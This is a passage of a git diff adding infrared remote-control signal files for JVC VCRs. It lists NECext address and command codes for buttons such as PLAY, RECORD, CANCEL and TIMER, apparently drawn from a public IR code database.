+# +name: 9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR_9_(WEEKLY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9_(DAILY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: A_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9_WEEKLY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCRA_9_(WEEKLY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9/WEEKLY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR_PLUS:_WEEKLY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9_(YZ.:)_(WEEKLY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9_(YZ.:/WEEKLY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VIDEO_A_9_(WEEKLY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 9_/_WEEKLY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: DAILY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR_A_9_(WEEKLY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: VCR_9/WEEKLY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: HS/STD_&_SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: RECORD_SPEED +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: VCR_SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: A_SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: VCRA_SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: ///_(SP/EP) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: VID_A(SP/EP) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: VCR_A_SP/EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: SP_/_EP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: DATE_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: AM/PM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 32 00 00 00 +# +name: A_AM/PM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 32 00 00 00 +# +name: 0/AUX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR_0_(AUX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0_REPEAT/AUX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0_(REPEAT) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0_(REPEAT/AUX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: A_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCRA_0_(AUX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0_/_AUX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0_(AUX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: AUX_INPUT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VIDEO_A_0_(AUX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR_A_0_(AUX) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: VCR_0/AUX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: VCR_TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: A_TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: [4]_TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: VCRA_TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: (4)_TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: TIMR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: VID_A_5_TIMER_(CH) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: VCR_A_TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VCR_CANCEL_(CRST/CS) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VCR_CANCEL/CH.SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL(CRESET/CHSKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/C.RESET_SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: A_SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/C.RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL_SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL_(CRESET/SKIP) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VCRA_CANCEL(C.RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VCRA_CANCEL/CHSKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL_/_C.RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL_(C.RESET) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL_(SKIP) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CNCL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VID_A_CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/COUNTER_RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VCR_A_CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: VCR_CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL/C.RESET/SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: VCR_MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: PROG. +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: A_MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: [1]_PROG_(CLOCK) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: VCRA_MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: PROG_(CLOCK/CH_SET) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: (1)_PROG_CLOCK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: VCR_RA_EDIT_(MENU) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: VID_A_REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: VCR_A_MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: VCR_PROG +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: VCR_DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: A_DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: VCRA_DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: DSPL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: VID_A_DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: VCR_A_DISPLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 39 00 00 00 +# +name: GO-TO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3B 00 00 00 +# +name: A_GOTO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3B 00 00 00 +# +name: GO_TO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: CURSOR_-_ENTER/OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VCR_OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VCR_SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: A_SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: [3]_SELECT_(CMEMORY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VCRA_SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VCRA_OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: SELECT_(CMEMORY) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: OK_ENTER/OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: (3)_SELECT_C.MEMORY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: SELECT_(IN/OUT) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VCR_SELECT_(IN/OUT) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VID_A_3_SELECT(CMEM) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: OK_/_ENTER_/_OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: VCR_A_SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: PROGRAM_CHECK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: PROG._CHECK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: PROG_CHECK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: PROG_CHK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: PROGCHECK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: DATE_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: OSD/ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: VCR_ENTER_(OSD) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: VCR_ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: ENTER/ADD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: A_ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: ENTER_SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: SELECT/ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: VCRA_ENTER_(OSD) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: ENTER_(OSD) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: VCR_A_ENTER/OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: ENTER/OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: ENTER_OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 41 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 41 00 00 00 +# +name: A_TRACKING_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 41 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 42 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 42 00 00 00 +# +name: A_TRACKING_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 42 00 00 00 +# +name: DIGITAL_OFF +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 43 00 00 00 +# +name: DIGITAL_MEMORY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 44 00 00 00 +# +name: ART +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 45 00 00 00 +# +name: ZOOM_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 46 00 00 00 +# +name: STROBE_SPEED +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 47 00 00 00 +# +name: TWIN_PICTURE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 48 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 49 00 00 00 +# +name: MULTI_SCREEN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 4A 00 00 00 +# +name: TV_MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 4B 00 00 00 +# +name: A_TV_MONITOR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 4B 00 00 00 +# +name: VID_A_4_TRANS(CHSRCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 66 00 00 00 +# +name: LINE_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 6E 00 00 00 +# +name: VCRA_SHUT_PLUS_^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 82 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 82 00 00 00 +# +name: VCRA_SHUT_PLUS_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 86 00 00 00 +# +name: VCR_ADD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: C.MEMORY/ADD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: REPEAT_(CMEMORY/ADD) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: VCRA_C.MEMORY_(ADD) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: VCRA_C.MEMORY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: C.MEMORY/ADD_(START) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: START_(C.MEMORY/ADD) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: VCR_A_IN/OUT/START/C +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: C_MEMORY/ADD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: C._MEMORY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 91 00 00 00 +# +name: A_INDEX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 91 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 93 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 94 00 00 00 +# +name: A_ERASE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 94 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: VCR_SKIP_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: A_SKIP_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: VCRA_SKIP_SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: SKIP_SRCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: VCR_A_SKIP_SRCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 97 00 00 00 +# +name: A_INTRO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 97 00 00 00 +# +name: ZERO_RTN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 98 00 00 00 +# +name: VCR_VOL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 9E 00 00 00 +# +name: VCR_VOL_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 9F 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: AD 00 00 00 +# +name: VCR_A_JOG_< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: AF 00 00 00 +# +name: JOG_REV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: AF 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B1 00 00 00 +# +name: SHUTTLE_REV_(F.S.) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B1 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B7 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: B8 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BE 00 00 00 +# +name: SHUTTLE_FWD_(F.S.) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: BE 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C1 00 00 00 +# +name: PROG. +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C1 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C1 00 00 00 +# +name: STOP_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C1 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 +# +name: VCR_REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 +# +name: VCRA_REVIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 +# +name: RE-VIEW +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 +# +name: DATE_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C6 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C6 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C6 00 00 00 +# +name: DATE_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C7 00 00 00 +# +name: DATE- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C7 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C7 00 00 00 +# +name: START_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C7 00 00 00 +# +name: DATE_-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C7 00 00 00 +# +name: START_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C8 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C8 00 00 00 +# +name: START_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C9 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C9 00 00 00 +# +name: START-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C9 00 00 00 +# +name: STOP_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CA 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CA 00 00 00 +# +name: STOP_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CB 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CB 00 00 00 +# +name: STOP_-- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CB 00 00 00 +# +name: REC/PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: REC/PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: A_REC/PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_REC_PLAY/X2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCRA_REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VIDEO_A_REC +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: VCR_A_RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: REC/PAUSE/STILL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: REC/PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CD 00 00 00 +# +name: NAVIGATION +type: parsed +protocol: NECext +address: 43 00 00 00 +command: E0 00 00 00 +# +name: LINE_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: EA 00 00 00 +# +name: VCR_A_JOG_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: ED 00 00 00 +# +name: JOG_FWD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: ED 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/8,14.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/8,14.ir new file mode 100644 index 000000000..dea386a5a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/8,14.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 03 00 00 00 +# +name: INDEX_LEFT +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 04 00 00 00 +# +name: INDEX_RIGHT +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 06 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 07 00 00 00 +# +name: SKIP_LEFT +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 08 00 00 00 +# +name: AUTOTRACK +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 09 00 00 00 +# +name: SKIP_RIGHT +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 0A 00 00 00 +# +name: REW/BROWSE +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 0C 00 00 00 +# +name: FF/BROWSE +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 0E 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 0F 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 10 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 1B 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 0E 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir new file mode 100644 index 000000000..615b07664 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_CANCEL(CRESET/CH) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir new file mode 100644 index 000000000..db8e240b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir @@ -0,0 +1,1376 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: B_STOP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: VCRB_STOP_[] +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: VIDEO_B_STOP_[] +type: parsed +protocol: NECext +address: 53 